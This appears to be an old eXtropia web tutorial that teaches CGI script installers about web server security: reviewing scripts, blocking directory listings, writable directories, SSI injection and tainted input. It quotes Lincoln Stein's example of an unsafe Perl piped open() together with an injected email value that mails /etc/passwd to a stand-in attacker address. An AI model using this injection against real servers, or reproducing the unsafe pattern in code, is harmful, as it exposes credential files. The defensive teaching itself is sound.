eXtropia: the open web technology company
Technology | Support | Tutorials | Development | About Us | Users | Contact Us
 ::   Tutorials
 ::   Presentations
Perl & CGI tutorials
 ::   Intro to Perl/CGI and HTML Forms
 ::   Intro to Windows Perl
 ::   Intro to Perl 5
 ::   Intro to Perl
 ::   Intro to Perl Taint mode
 ::   Sherlock Holmes and the Case of the Broken CGI Script
 ::   Writing COM Components in Perl

Java tutorials
 ::   Intro to Java
 ::   Cross Browser Java

Misc technical tutorials
 ::   Intro to The Web Application Development Environment
 ::   Introduction to XML
 ::   Intro to Web Design
 ::   Intro to Web Security
 ::   Databases for Web Developers
 ::   UNIX for Web Developers
 ::   Intro to Adobe Photoshop
 ::   Web Programming 101
 ::   Introduction to Microsoft DNA

Misc non-technical tutorials
 ::   Misc Technopreneurship Docs
 ::   What is a Webmaster?
 ::   What is the open source business model?
 ::   Technical writing
 ::   Small and mid-sized businesses on the Web

Offsite tutorials
 ::   ISAPI Perl Primer
 ::   Serving up web server basics
 ::   Introduction to Java (Parts 1 and 2) in Slovak


introduction to web security
Security Issues When Installing and Customizing Pre-Built Web Scripts  
CGI scripts are as dangerous as they are useful. This is not to say that you should not use them. Computer security is a give and take situation. You can never be safe so long as you offer services. However, without offering services you may as well not have the computer in the first place. Thus, security becomes more about acceptable risk and emergency recovery than impregnability. It is your job to make sure that the cons of a break have far less impact than the pros of having a web site. Selena discusses the fundamental concerns of security when installing and customizing pre-built CGI scripts, and gives pointers to further information.

"All data is fraudulent.
All communications are attempted hacks.
All clients are thieves.
Technology is only my first line of defense"

- morning litany for a Web Server Administrator

The minute you connect your computer to the Internet is the minute that the security of your data has been compromised. Even the most secure systems, shepherded by the most intelligent and able system administrators, and employing the most up-to-date, tested software available are at risk every day, all day. As was proven by Kevin Mitnick in the celebrated cracking of the San Diego Supercomputer Center in 1994, even seasoned security veterans like Tsutomu Shimamura can be cracked.

The sad fact is that crackers will always have the upper hand. Time, persistence, creativity, the complexity of software and the server environment, and the ignorance of the common user are their weapons. The system administrator must juggle dozens of ever-changing, complex security-related issues at once while crackers need only wait patiently for any slip up. And of course, system administrators are only human.

Thus, the system administrator's job certainly can not be to build a "cracker-proof" environment. Rather, the system administrator can only hope to build a "cracker-resistant" environment.

A cracker-resistant environment is one in which everything is done to make the system "as secure as possible" while making provisions such that successful cracks cause as little damage as possible.

Thus, for example, at minimum the system administrator should backup all of the data on a system so that if the data is maliciously or accidentally erased or modified, as much of it as possible can be restored.

By the way, don't think that just because your job title is not officially "system administrator" that this does not apply to you. In fact, as soon as you implement a CGI script, you become a system administrator of sorts. For example, the implementer of a Web Store CGI script will have her own users, data files, and security concerns.

Here is a good rough check list of minimum level security precautions:

  • Make sure users understand what a good password is and what a bad password is. Good passwords cannot be found in a dictionary and take advantage of letters, numbers and symbols. Good passwords are also changed with some regularity and are not written on scraps of paper in desk drawers.
  • Make sure that file permissions are set correctly.
  • Make sure to keep abreast of security announcements, bug fixes and patches. For example, put yourself on a CERT or CIAC mailing list and/or return regularly to the sites which distribute the code you use.
  • Attempt to crack your site regularly. Learn the tools the crackers are using against you and try your best to use those tools to crack yourself.
  • Make regular backups.
  • Create and check your log files regularly.
What is the worst that can happen?  

Protecting your site is a serious matter and one that everyone should take time to deal with. Unfortunately, too many web admins make the mistake of saying that, "Since I am not a high visibility site, and I don't have a beef with anyone else no one will bother to mess with me." In fact, you are a target as soon as you have a web presence. Many crackers need no greater excuse than the desire to cause mischief to crack your site.

Once a cracker has access to your system, he or she can do all sorts of mean and nasty things. Consider some of the following possibilities:

  • Your data/files are erased
  • Your data/files are sold to your competitor
  • Your data/files are modified. Check out what happened to the CIA site and others!
  • The Cracker uses your site to launch attacks against others. For example, the cracker attempts to crack the White House server as you!
Security and Web Servers  
Web servers are one of the most dangerous services you can offer.

Essentially, a web server gives the entire net access to the inner workings of your file system. What is worse is the fact that since web server software has only been around since the end of the 1980's, the security community has only had a limited amount of time to scrutinize security holes. Thus, web servers amount to extremely powerful programs which have only been partially bug tested.

If that were not bad enough, web servers are typically administered by new admins with perhaps more experience in graphic design than server administration. Further many web servers are home to hundreds of users who barely know enough about computers to write HTML and who are often too busy with their own deadlines to take a moment to read articles such as this!.

This is not to point fingers at anyone. Few people have time or inclination to master security and that is as it should be. The point is that bad passwords, poorly written programs, world readable files and directories and so forth will always be part of the equation.

CGI Scripts  

Beyond the fact that web servers are insecure to begin with, web servers make a bad situation worse by allowing users to take advantage of CGI scripts.

CGI scripts are programs that reside on a server and can be run from a web browser. In other words, CGI scripts allow Joe Cyberspace to execute powerful programs on your server which are in all likelihood first generation, designed by amateurs, and full of security holes.

Yet, since most users have grown to expect CGI access, few system administrators can deny their users the ability to write, install and make public CGI scripts of all sorts.

So what is a web master to do and how can users of CGI scripts help to promote the security of the server as a whole?

As is the case with all security, the admin and users must attempt to address the following precautions:

  • CGI scripts must be made "as safe as possible".
  • The inevitable damages caused by cracked CGI scripts must be contained.

Reviewing Scripts  

Needless to say, every script installed on a server should be reviewed by as many qualified people as possible. At very least the system administrator should be given a copy of the code (before and after your modifications), information about where you got the code, and anything else she asks for. Don't think of your system administrator as a paranoid fascist. She has a very serious job to do. Help her to facilitate a safer environment for everyone even if that means a little more work for you.

Besides that, you should read the code yourself! There is no better time to learn this stuff than now. Although ignorant users will necessarily be part of the security equation it does not give you the go ahead to be one of those users!

And remember, any bit of code you do not understand is suspect! As a customer, demand that script authors explain and document their code clearly and completely.

However, you have a further responsibility. You have the responsibility to keep aware of patches, bug fixes, and security announcements. It is likely that such information will be posted on the site from which you got the script. It certainly is posted on my Script Archive. As new versions come out, you should do your best to upgrade and when security announcements are issued, you must make the necessary modifications as soon as possible.

The fact that the information is available to you means that the information is also available to crackers who will probably use it as soon as it is available.

This point is particularly important for all you freelance CGI developers who install scripts for clients and then disappear into the sunset. It is essential that you take the responsibility to develop an ongoing relationship with your clients so that when security patches are released you can notify them so they can hire you or someone else to implement the security changes.

Writing Safe CGI Scripts  

Although this article is primarily focussed on installing and customizing pre-built web scripts, no discussion of security would be complete without a note on writing safe code. After all, some of the installation/customization work you do might involve writing some code.

Perhaps the best source for information on writing safe CGI scripts can be found at Lincoln Stein's WWW Security FAQ. Lincoln Stein is a gifted CGI programmer with several public domain talks and FAQS regarding techniques for writing safe CGI.

You should not even consider writing or installing a CGI script until you have read the entire FAQ! However, I will reproduce the most important warning since it should be said several times.

Stein writes the following,

"Never, never, never pass unchecked remote user input to a shell command.

In C this includes the popen(), and system() commands, all of which invoke a /bin/sh subshell to process the command. In Perl this includes system(), exec(), and piped open() functions as well as the eval() function for invoking the Perl interpreter itself. In the various shells, this includes the exec and eval commands.

Backtick quotes, available in shell interpreters and Perl for capturing the output of programs as text strings, are also dangerous.

The reason for this bit of paranoia is illustrated by the following bit of innocent-looking Perl code that tries to send mail to an address indicated in a fill-out form.

$mail_to = &get_name_from_input; # read the address from form
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
close MAIL;

The problem is in the piped open() call. The author has assumed that the contents of the $mail_to variable will always be an innocent e-mail address. But what if the wiley hacker passes an e-mail address that looks like this?

nobody@nowhere.com; mail badguys@hell.org</etc/passwd;
Now the open() statement will evaluate the following commands:
/usr/lib/sendmail nobody@nowhere.com
mail badguys@hell.org</etc/passwd
Unintentionally, open() has mailed the contents of the system password file to the remote user, opening the host to password cracking attack."

Other CGI security FAQS include:

Stopping Snoopers  

Have you ever investigated a web site by modifying the URL? For example, let's look at the 1990 U.S. Census Page at the Lawrence Berkeley Lab which can be found at http://cedr.lbl.gov/cdrom/doc/lookup_doc.html.

Notice that we are looking at the document lookup_doc.html which is in the directory "docs" which is located in the "cdrom" directory which is also a root level directory of the web server "cedr.lbl.gov".

Suppose we are interested in what other documents are located in the "doc" directory (perhaps documents under development, documents which have been forgotten about, or documents which might have unlisted links for internal use only). In this case, we remove the "lookup_doc.html" reference and test to see if they have set their web server to generate a dynamic index.

In this case, they have. Here is what we get when we remove the lookup_doc.html ending:

What you are looking at is a dynamically created index page containing all files and sub-directories. In fact, many servers on the web are configured so that if the user has not provided an index.html file, the server will output a directory listing much like this.

If the server is set to produce a dynamically generated index of a cgi-bin directory, the results can be devastating. Consider the following figure in which we see that the entire contents of a cgi directory are displayed to the web user:

What do you suppose will happen when a user clicks on the auth.setup file? Well since the web server must execute this CGI script, the web server will certainly have permission to read the contents of the file. Thus the cracker will receive the contents of your setup file in their web browser window. As you might imagine, this file could easily include crucial bits of security, path, configuration information which in the hands of the cracker could be the end of you.

Needless to say, setup files are not the only files at risk. Other files include password files, temporary working files, user files, and anything else that might give the cracker information about how to break your program for his/her own benefit.

As such, it is essential that you do one or all of the following things:

  • Configure the web server to not generate dynamically produced indexes but return an error message instead.
  • Configure your web server to not serve any document other than a .cgi document from within a cgi-bin directory tree.
  • Provide an index.html file with nothing in it so that even if the web server is not configured for CGI security, the cracker will be stopped in their tracks.

There is another aspect of the snooper that you should definitely be aware of when installing pre-built scripts. Snoopers have just as much ability to download the source code and read through it as you do. Thus, they are aware of all of the pre configured options that are set by default. In particular, they are aware of filenames and relative directory locations. Thus, if you do not change the default names of files and directories, even if you have stopped them from using the back door and getting directory listings as shown above, they will still know what is available and can access it directly.

In other words, if I know that you are using "CGI script A" and that "CGI script A" uses a file called "users.dat" in a subdirectory called "Users" I might look for it directly using:

In such a way, a cracker could easily gain sensitive information.

As a result, it is crucial that you also rename any file or directory that contains sensitive information. Once you have made it impossible for the hacker to get a dynamically generated index and you have changed all filenames and directory names, it will be much more difficult for the cracker to find his/her way in.

Writable Directories  

It is pretty much unavoidable. Any truly complex CGI application is going to have to write to the file system. Examples of writing to the file system include adding to a password file of registered users, creating lock and log files, or creating temporary state maintenance files.

The problem with this is two fold. First, if the web surfer is given permission to write, she is also, necessarily given permission to delete. Writing and deleting come hand in hand. They are considered equal in terms of server security.

The second problem with writable files is that it is possible that a cracker could use the writable area within your cgi-bin tree to add a CGI script of their own! This is particularly dangerous on multi-user servers such as those used by your typical ISP. A cracker need only get a legitimate account at the same ISP you are on long enough to exploit the security hole. This amounts to 20 minutes worth of payment on their part.

By the way, this cracker tactic of getting an account on your ISP also has serious implications for "snooping". If the cracker can get an account on your server, there is little to stop her from getting at your cgi-bin directory and snooping around. With luck, your ISP runs a CGI wrapper which will obfuscate your CGI-BIN area to some degree, but one way or the other, so long as you host your website on a shared server, your security is seriously compromised. This makes backups even more crucial!

For the most part, the solution to this is to never store writable directories or files within your cgi-bin tree. All writable directories should be stored in less sensitive areas such as your HTML tree or in directories like /tmp which are already provided for insecure file manipulation. A cracker could still erase your data but they could not execute their own rogue CGI script.

Thus, not only should you change the names of all files in CGI scripts, but you should also move them to safer locations on your server. If the CGI script you are using is good, it should have all of this file naming and location information in a setup file so you do not have to muck around in the code.

However, as we said before, security is about constraining damage as well as it is about plugging holes. Thus, it is essential that you protect all files against writing unless you are currently working on them. In other words, if you are not editing an HTML file, it should be set to read-only access. If you are not currently editing the code of a CGI script, it should be stored as read-execute-only.

In short, never grant write permission to any file on your web server unless you are specifically editing that file.

Finally, backup your files regularly. Expect and prepare for the worst. If you are on a UNIX system, you should tar your entire site at least once every few days using the command

tar cvfp name.tar rootdirectoryname
You should then move that file onto a non-network connected machine or at very least set permissions such as:
chmod 400
Windows users should use a program like WinZip95 to create archives.

User Input  

All input is an attempted hack. All input is an attempted hack. All input is an attempted hack. Learn those words and repeat them to yourself every day.

It is essential for you to consider all information that comes into your CGI script as tainted. The example provided by Lincoln Stein above is a good example of the kinds of havoc a cracker can create with tainted data. A cracker could easily attempt to use your CGI to execute damaging commands.

An interesting addition to what Stein's has to say relates to Server Side Includes (SSI). That is, if your server is set to execute server side includes, it is possible that your CGI script could be used to execute illegitimate code. Specifically, if the CGI script allows a user to input text that will be echoed back to the web browser window, the cracker could easily input SSI code. This is a common mis configuration error for programs like Guestbooks.

The solution to this problem, of course, is to filter all user data and remove any occurrence of SSI commands. Typically, this is done by changing all occurences of "<!" to "&lt;-". Thus, SSI commands will be printed out instead of executed.

A better option is to disable SSI which is even more dangerous than CGI, especially when combined with CGI.

Another thing to understand about the legitimacy of incoming data is that even the data which is supposedly generated administratively can be tainted. It is very easy, for example, to modify hidden form fields or add custom fields to incoming form data to a script. In fact, a cracker could simply download your HTML form, modify it and submit faulty data to your CGI script from their own server.

In Summary  

CGI scripts are as dangerous as they are useful. This is not to say that you should not use them. Computer security is a give and take situation. You can never be safe so long as you offer services. However, without offering services you may as well not have the computer in the first place. Thus, security becomes more about acceptable risk and emergency recovery than impregnability.

It is your job to make sure that the cons of a break have far less impact than the pros of having a web site.